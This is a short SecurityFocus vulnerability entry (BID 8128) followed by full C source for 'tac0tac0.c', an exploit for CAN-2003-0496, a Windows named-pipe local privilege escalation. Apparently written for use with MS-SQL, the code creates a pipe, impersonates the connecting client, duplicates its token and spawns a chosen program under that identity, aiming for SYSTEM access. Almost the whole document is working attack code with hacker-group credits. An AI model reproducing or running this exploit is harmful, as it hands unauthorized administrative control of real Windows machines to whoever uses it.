source: http://www.securityfocus.com/bid/8128/info
 
It has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account.

/*  tac0tac0.c - pay no attention to the name, long
story...
  *
  *
  *
  *  Author:  Maceo
  *  Modified to take advantage of CAN-2003-0496 Named
Pipe Filename
  *  Local Privilege Escalation Found by @stake. Use with
their advisory
  *  -wirepair@sh0dan.org
http://sh0dan.org/files/tac0tac0.c
  *
  *
  *  All credits for code go to Maceo, i really did
minimal work
  *  with his code, it took me like 3 seconds heh.
  *  Shouts to #innercircle,
  *
  */


#include <stdio.h>
#include <windows.h>


int main(int argc, char **argv)
{
   char szPipe[64];
   DWORD dwNumber = 0;
   DWORD dwType = REG_DWORD;
   DWORD dwSize = sizeof(DWORD);
   DWORD dw = GetLastError();
   HANDLE hToken, hToken2;
   PGENERIC_MAPPING pGeneric;
   SECURITY_ATTRIBUTES sa;
   DWORD dwAccessDesired;
   PACL pACL = NULL;
   PSECURITY_DESCRIPTOR pSD = NULL;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;


   if (argc != 2) {
	  fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local
Priv Escalation found by @stake.\n"
					   "This code is to be used with MS-SQL exactly as
outlined in their advisory\n"
					   "All credit for this code goes to Maceo, he did a
fine job.. -wire\n"
					   "Also thanks goes to brett Moore for helping me
with DuplicateTokenEx, thanks buddy guy!\n",argv[0]);
					   exit(1);
   }
   memset(&si,0,sizeof(si));
   sprintf(szPipe, "\\\\.\\pipe\\poop");

   // create the named pipe
   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE) {
     printf ("Failed to create named pipe:\n  %s\n",
szPipe);
     return 3;
   }
   printf("Created Named Pipe: \\\\.\\pipe\\poop\n");

   // setup security attribs
   pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR,
SECURITY_DESCRIPTOR_MIN_LENGTH);
   InitializeSecurityDescriptor(pSD,
SECURITY_DESCRIPTOR_REVISION);
   SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor = pSD;
   sa.bInheritHandle = FALSE;

   printf("Waiting for connection...\n");
   // wait for client to connect
   ConnectNamedPipe (hPipe, NULL);

   // assume the identity of the client //
   if (!ImpersonateNamedPipeClient (hPipe)) {
     printf ("Failed to impersonate the named pipe.\n");
     CloseHandle(hPipe);
     return 5;
   }

   if (!OpenThreadToken(GetCurrentThread(),
TOKEN_ALL_ACCESS, TRUE, &hToken )) {
	     if (hToken != INVALID_HANDLE_VALUE) {
			 printf("GetLastError: %u\n", dw);
              CloseHandle(hToken);
			 exit(0);
		 }
   }

   printf("Duplicating Token...\n");
   if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,&sa,SecurityImpersonation,
TokenPrimary,&hToken2) == 0) {
	  printf("error in duplicate token\n");
	  printf("GetLastError: %u\n", dw);
	  exit(0);
   }
   MapGenericMask( &dwAccessDesired, pGeneric );

   // display impersonating users name
   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);
   printf ("Impersonating: %s\n", szUser);

   si.cb = sizeof(si);
   si.lpDesktop = NULL;

   printf("Creating New Process %s\n", argv[1]);
   if(!CreateProcessAsUser(hToken2, NULL, argv[1], &sa,
&sa,true, NORMAL_PRIORITY_CLASS |
CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
      printf("GetLastError: %u\n", dw);
   }
   CloseHandle(hPipe);

   return 0;
}
